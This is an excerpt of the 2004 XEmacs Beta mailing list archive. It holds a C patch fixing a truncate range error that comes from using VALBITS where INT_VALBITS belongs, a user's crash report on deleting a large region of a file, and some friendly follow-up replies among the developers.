stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JGhns18992; Mon, 19 Apr 2004 12:43:49 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3JGfwDu013108; Mon, 19 Apr 2004 11:41:58 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3JGfwHS016014; Mon, 19 Apr 2004 11:41:58 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3JGfvqF016012; Mon, 19 Apr 2004 11:41:57 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Lars Brinkhoff Cc: XEmacs Beta , XEmacs Patches Subject: [PATCH21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI X-Generated-By: Patcher version 3.5.2 Date: Mon, 19 Apr 2004 11:41:57 -0500 In-Reply-To: <85brlob90y.fsf@junk.nocrew.org> (Lars Brinkhoff's message of "19 Apr 2004 11:40:29 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Lars Brinkhoff wrote: > This is from a session in the *scratch* buffer: > > most-positive-fixnum > 1073741823 > (truncate 536870911.1) > 536870911 > (truncate 536870912.1) > > When I try to evaluate the last espression, I get this error: > Arithmetic range error: "truncate", 536870912.1 Thank you for the report, Lars. It looks like this bug predates me, so I will cowardly refuse to take responsibility for it. :-) I haven't done the required digging through the CVS history yet, but it looks like this was probably introduced when Lisp integers were changed from 28 bits to 31 bits. The problem is that VALBITS is used several places in the sources where INT_VALBITS should be used. I've taken the opportunity to also replace some complex expressions with EMACS_INT_MAX or EMACS_INT_MIN, as appropriate. A patch for 21.5 will also be necessary. I will submit that separately, because the bignum patch has messed up some of the context. The data.c and sysdep.c changes look a little funny because (1L << 31) causes gcc to complain about integer overflow on 32 bit machines. src/ChangeLog addition: 2004-04-19 Jerry James * data.c (sign_extend_lisp_int): Use INT_VALBITS instead of VALBITS to compute the location of the sign bit. * event-stream.c (Fcurrent_event_timestamp): Replace incorrect use of VALBITS with EMACS_INT_MAX. * events.c (Fevent_timestamp): Ditto. * events.c (TIMESTAMP_HALFSPACE): Change VALBITS to INT_VALBITS to compute the halfway point to timestamp wraparound. * floatfns.c (float_to_int): Compare against EMACS_INT_MAX and EMACS_INT_MIN instead of using VALBITS. * floatfns.c (Flogb): Use EMACS_INT_MIN instead of building an incorrect number with VALBITS. * fns.c (Frandom): Correct number of integer bits in docstring. Use INT_VALBITS instead of VALBITS to compute the denominator. * sysdep.c (get_random): Use INT_VALBITS instead of VALBITS to build random numbers. xemacs-21.4 source patch: Diff command: cvs -q diff -uN Files affected: src/sysdep.c src/fns.c src/floatfns.c src/events.c src/event-stream.c src/data.c Index: src/data.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/data.c,v retrieving revision 1.27.2.1 diff -d -u -r1.27.2.1 data.c --- src/data.c 2003/10/24 03:49:57 1.27.2.1 +++ src/data.c 2004/04/19 16:14:41 @@ -170,10 +170,10 @@ EMACS_INT sign_extend_lisp_int (EMACS_INT num) { - if (num & (1L << (VALBITS - 1))) - return num | ((-1L) << VALBITS); + if (num & (1L << (INT_VALBITS - 1))) + return num | ((-1L) << INT_VALBITS); else - return num & ((1L << VALBITS) - 1); + return num & (EMACS_INT) ((1UL << INT_VALBITS) - 1); } Index: src/event-stream.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/event-stream.c,v retrieving revision 1.49.2.6 diff -d -u -r1.49.2.6 event-stream.c --- src/event-stream.c 2003/01/03 09:59:45 1.49.2.6 +++ src/event-stream.c 2004/04/19 16:14:42 @@ -4481,7 +4481,7 @@ /* This junk is so that timestamps don't get to be negative, but contain as many bits as this particular emacs will allow. */ - return make_int (((1L << (VALBITS - 1)) - 1) & tiempo); + return make_int (EMACS_INT_MAX & tiempo); } Index: src/events.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/events.c,v retrieving revision 1.42 diff -d -u -r1.42 events.c --- src/events.c 2001/04/12 18:23:42 1.42 +++ src/events.c 2004/04/19 16:14:43 @@ -1483,11 +1483,10 @@ /* This junk is so that timestamps don't get to be negative, but contain as many bits as this particular emacs will allow. */ - return make_int (((1L << (VALBITS - 1)) - 1) & - XEVENT (event)->timestamp); + return make_int (EMACS_INT_MAX & XEVENT (event)->timestamp); } -#define TIMESTAMP_HALFSPACE (1L << (VALBITS - 2)) +#define TIMESTAMP_HALFSPACE (1L << (INT_VALBITS - 2)) DEFUN ("event-timestamp<", Fevent_timestamp_lessp, 2, 2, 0, /* Return true if timestamp TIME1 is earlier than timestamp TIME2. Index: src/floatfns.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/floatfns.c,v retrieving revision 1.8 diff -d -u -r1.8 floatfns.c --- src/floatfns.c 2001/04/12 18:23:45 1.8 +++ src/floatfns.c 2004/04/19 16:14:43 @@ -128,15 +128,16 @@ static Lisp_Object float_to_int (double x, const char *name, Lisp_Object num, Lisp_Object num2) { - if (x >= ((EMACS_INT) 1 << (VALBITS-1)) - || x <= - ((EMACS_INT) 1 << (VALBITS-1)) - (EMACS_INT) 1) - { - if (!UNBOUNDP (num2)) - range_error2 (name, num, num2); - else - range_error (name, num); - } - return (make_int ((EMACS_INT) x)); + REGISTER EMACS_INT result = (EMACS_INT) x; + + if (result > EMACS_INT_MAX || result < EMACS_INT_MIN) + { + if (!UNBOUNDP (num2)) + range_error2 (name, num, num2); + else + range_error (name, num); + } + return make_int (result); } @@ -708,7 +709,7 @@ double f = extract_float (number); if (f == 0.0) - return make_int (- (EMACS_INT)(((EMACS_UINT) 1) << (VALBITS - 1))); /* most-negative-fixnum */ + return make_int (EMACS_INT_MIN); #ifdef HAVE_LOGB { Lisp_Object val; Index: src/fns.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/fns.c,v retrieving revision 1.33.2.2 diff -d -u -r1.33.2.2 fns.c --- src/fns.c 2002/08/20 11:37:15 1.33.2.2 +++ src/fns.c 2004/04/19 16:14:43 @@ -143,7 +143,7 @@ DEFUN ("random", Frandom, 0, 1, 0, /* Return a pseudo-random number. All integers representable in Lisp are equally likely. - On most systems, this is 28 bits' worth. + On most systems, this is 31 bits' worth. With positive integer argument N, return random number in interval [0,N). With argument t, set the random number seed from the current time and pid. */ @@ -163,7 +163,7 @@ it's possible to get a quotient larger than limit; discarding these values eliminates the bias that would otherwise appear when using a large limit. */ - denominator = ((unsigned long)1 << VALBITS) / XINT (limit); + denominator = ((unsigned long)1 << INT_VALBITS) / XINT (limit); do val = get_random () / denominator; while (val >= XINT (limit)); Index: src/sysdep.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/sysdep.c,v retrieving revision 1.38.2.3 diff -d -u -r1.38.2.3 sysdep.c --- src/sysdep.c 2002/08/20 11:38:14 1.38.2.3 +++ src/sysdep.c 2004/04/19 16:14:44 @@ -3510,19 +3510,19 @@ get_random (void) { long val = random (); -#if VALBITS > RAND_BITS +#if INT_VALBITS > RAND_BITS val = (val << RAND_BITS) ^ random (); -#if VALBITS > 2*RAND_BITS +#if INT_VALBITS > 2*RAND_BITS val = (val << RAND_BITS) ^ random (); -#if VALBITS > 3*RAND_BITS +#if INT_VALBITS > 3*RAND_BITS val = (val << RAND_BITS) ^ random (); -#if VALBITS > 4*RAND_BITS +#if INT_VALBITS > 4*RAND_BITS val = (val << RAND_BITS) ^ random (); #endif /* need at least 5 */ #endif /* need at least 4 */ #endif /* need at least 3 */ #endif /* need at least 2 */ - return val & ((1L << VALB From xemacs-beta-admin@xemacs.org Mon Apr 19 12:53:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JGr4s31194; Mon, 19 Apr 2004 12:53:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JGqQ330286 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 12:52:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JGqMf30178 for turnbull@tux.org; Mon, 19 Apr 2004 12:52:22 -0400 Received: from ccssun1.nrl.navy.mil (ccssun1.nrl.navy.mil [132.250.113.66]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JGqHs30029 for ; Mon, 19 Apr 2004 12:52:17 -0400 Received: from PCXR15 (pcxr15.nrl.navy.mil [132.250.166.155]) by ccssun1.nrl.navy.mil (8.12.10/8.12.10) with ESMTP id i3JGq3gO011652 for ; Mon, 19 Apr 2004 12:52:03 -0400 (EDT) Date: Mon, 19 Apr 2004 12:52:03 -0400 Message-Id: From: To: XEmacs Beta Subject: [Bug: 21.4.13] large delete on large file crashes xemacs X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! hi, i just downloaded latest xemacs for win32 to make sure that the problem is still there. it is. my file is about 300000 lines and 20 megabytes. I will not send you entire file, a portion is pasted below, the rest of the file has same format, it just goes on for a while :) anyways, i search down to line 27000 (about 10%) and select rest of file. at this point i use ctrl-w (kill-region) and the program crashes. i get the following error message "the exception unkown software exception (0xc00000fd) occurred in the application at location 0x01108337). if you want more info i'd be glad to oblige. file compresses quite well (due to repetition) down to 750k. hope i've helped, zach fewtrell Naval Research Laboratory here is 'wc' output [fewtrell@PCXR15 ...gcfecomp/]$ wc Post400_32.log 289862 1984578 20533048 Post400_32.log the file is newline delimited, DOS text file i believe, all lines look essentially like this: 03/01/2004 08:30:25 PM measure_parm_2004_03_01.ivec 03/01/2004 08:30:09 PM measure_parm_2004_03_01.rvec 04/06/2004 10:26:19 AM ******** New Test: Chip 13********* 04/06/2004 10:26:19 AM 25.93 degrees Celcius 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;102 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F8 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F9 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F9 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F9 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F9 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;FA 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F9 04/06/2004 10:26:19 AM 00238: ADC Comparison out-of-range;F9 ================================================================ System Info to help track down your bug: --------------------------------------- OS version: Microsoft Windows 2000 [Version 5.00.2195] OS: Windows_NT XEmacs 21.4.13 "Rational FORTRAN" configured for `i586-pc-win32'. Building XEmacs in "d:\\xemacs\\xemacs-21.4-release\\nt". Using compiler "cl -nologo -W3 -O2 -G5 -ML". Installing XEmacs in "c:\\Program Files\\XEmacs\\XEmacs-21.4.13". Package path is "~\\.xemacs;;c:\\Program Files\\XEmacs\\site-packages;c:\\Program Files\\XEmacs\\xemacs-packages". Compiling in support for Microsoft Windows native GUI. Compiling in support for XPM images. Compiling in support for GIF images. Compiling in support for PNG images. Compiling in support for TIFF images. Compiling in support for JPEG images. Compiling in support for X-Face message headers. Compiling in support for toolbars. Compiling in support for dialogs. Compiling in support for widgets. Compiling in support for native sounds. Compiling in fast dired implementation. Using portable dumper. Load-Path Lisp Shadows: ---------------------- (c:\Program Files\XEmacs\xemacs-packages\lisp\build\build-report c:\Program Files\XEmacs\XEmacs-21.4.13\lisp\build-report) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.15 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) (Sun ver: 1.15 upstream: No-Upstream-Ver) Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 efs-cu package-ui package-get package-admin config paren blink-paren font-lock cus-face regexp-opt visual-basic-mode zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads Sun-autoloads lisp-autoloads loadhist auto-show fontl-hooks code-cmds gutter-items menubar-items x-menubar dragdrop mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete help-nomule cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp file-coding mswindows-scrollbars mswindows toolbar native-sound scrollbar network-streams subprocesses menu-accelerator-support menubar md5 xemacs gutter tiff png gif jpeg xface xpm xbm lisp-float-type windows-nt dragdrop-api dialog devices window-system base64) Recent keystrokes: ----------------- misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user Recent messages (most recent first): ----------------------------------- Loading xemacsbug...done Loading xemacsbug... Creating package list ... Quit Loading efs-cu...done Loading efs-cu... Updated package-get database Got 101 package-get database entries Loading package-ui...done Loading package-ui... Loading package-get...done Loading package-get... Paren mode is paren Loading paren...done Loading paren... Loading font-lock...done Loading cus-face...done Loading cus-face... Loading font-lock... Loading visual-basic-mode.el...done From xemacs-beta-admin@xemacs.org Mon Apr 19 13:13:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JHD5s27047; Mon, 19 Apr 2004 13:13:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JHCW726373 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 13:12:32 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JHCVH26332 for turnbull@tux.org; Mon, 19 Apr 2004 13:12:31 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JHCUs26307 for ; Mon, 19 Apr 2004 13:12:30 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFcJp-0003Pk-00 for ; Mon, 19 Apr 2004 19:12:29 +0200 Received: from junk.nocrew.org ([213.242.147.30]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 19 Apr 2004 19:12:29 +0200 Received: from lars by junk.nocrew.org with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 19 Apr 2004 19:12:29 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Lars Brinkhoff Subject: Re: [Bug: 21.4.6] truncate range error Date: 19 Apr 2004 19:12:26 +0200 Organization: nocrew Lines: 24 Message-ID: <85llkrao3p.fsf@junk.nocrew.org> References: <85brlob90y.fsf@junk.nocrew.org> <87ad18usby.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: junk.nocrew.org User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: > "Stephen J. Turnbull" wrote: > >>>>>> "Lars" == Lars Brinkhoff writes: > > > > Lars> When I try to evaluate the last espression, I get this error: > > Lars> Arithmetic range error: "truncate", 536870912.1 > > > > Lars> Shouldn't truncate be able to return integers > 536870911? > > > > Interesting, I should think so. > > > > Jerry, when you fix this, how about adding a test in lisp-tests.el? > > Interesting that you should instantly think of me ... :-) > > I do not see a --use-number-lib in Lars' configure line. It's possible > that I have developed cataracts, but otherwise this has nothing to do > with bignum suport. No, nothing. I'm using a plain unmodified XEmacs from Debian "testing". -- Lars Brinkhoff, Services for Unix, Linux, GCC, HTTP Brinkhoff Consulting http://www.brinkhoff.se/ From xemacs-beta-admin@xemacs.org Mon Apr 19 14:23:36 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JIM2s22245; Mon, 19 Apr 2004 14:22:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JILYv21639 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 14:21:34 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JILV621592 for turnbull@tux.org; Mon, 19 Apr 2004 14:21:31 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JILVs21579; Mon, 19 Apr 2004 14:21:31 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3JIL0Du022488; Mon, 19 Apr 2004 13:21:00 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3JIL0HS016408; Mon, 19 Apr 2004 13:21:00 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3JIKuxR016405; Mon, 19 Apr 2004 13:20:56 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: Glynn Clements , XEmacs Beta Subject: Re: BadGC with Find dialog References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> <87smf312u4.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 19 Apr 2004 13:20:56 -0500 In-Reply-To: <87smf312u4.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Sat, 17 Apr 2004 16:27:31 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Jerry" == Jerry James writes: > > Jerry> What is different about the "Forwards" button that makes it > Jerry> behave like this, when all the other widgets seem to be > Jerry> behaving nicely? "One of these things is not like the > Jerry> others ..." > > I dunno, but I'll take a look. Probably won't help giving my success > to date on guessing causes, but "money eyes, swallow bugs" or > something like that. What gets me is that, as far as the Lisp code is concerned, the "Forwards" and "Backwards" buttons are identical. Yet "Backwards" never touches GCs during redisplay, and "Forwards" touches them in incorrect ways. I'll probably have to go with the brute force method again. I'll trace the paths taken through redisplay by those two buttons and see where they diverge. > Jerry> :-) Well, now I'm listening to Al Stewart's "Year of the > Jerry> Cat". What does *that* do to my chances, hey? > > Uh, it gives you a really strong chance of me ervising my guess at > your age upwards.... Why guess when you can ask? I'm 36, but not for much longer. Some of my musical tastes were inherited from my older siblings, who not only did not shoo me out of their rooms, but actually did stuff with me. Either I was much less annoying than some small children I've known, or they were unusually patient older siblings. :-) > Jerry> Jerry James, who thinks Mr. Stewart's instruments sound > Jerry> great, but wishes that somebody who could sing, rather than > Jerry> talk, had recorded the song > > But then I guess not old enough to remember Dylan's first single.... Nope. I've heard that said about it, but I can't say I've listened to much of Dylan's stuff. -- Jerry James, now playing the Alan Parson Project's "Lucifer" http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Mon Apr 19 14:27:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JIQ1s27233; Mon, 19 Apr 2004 14:26:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org 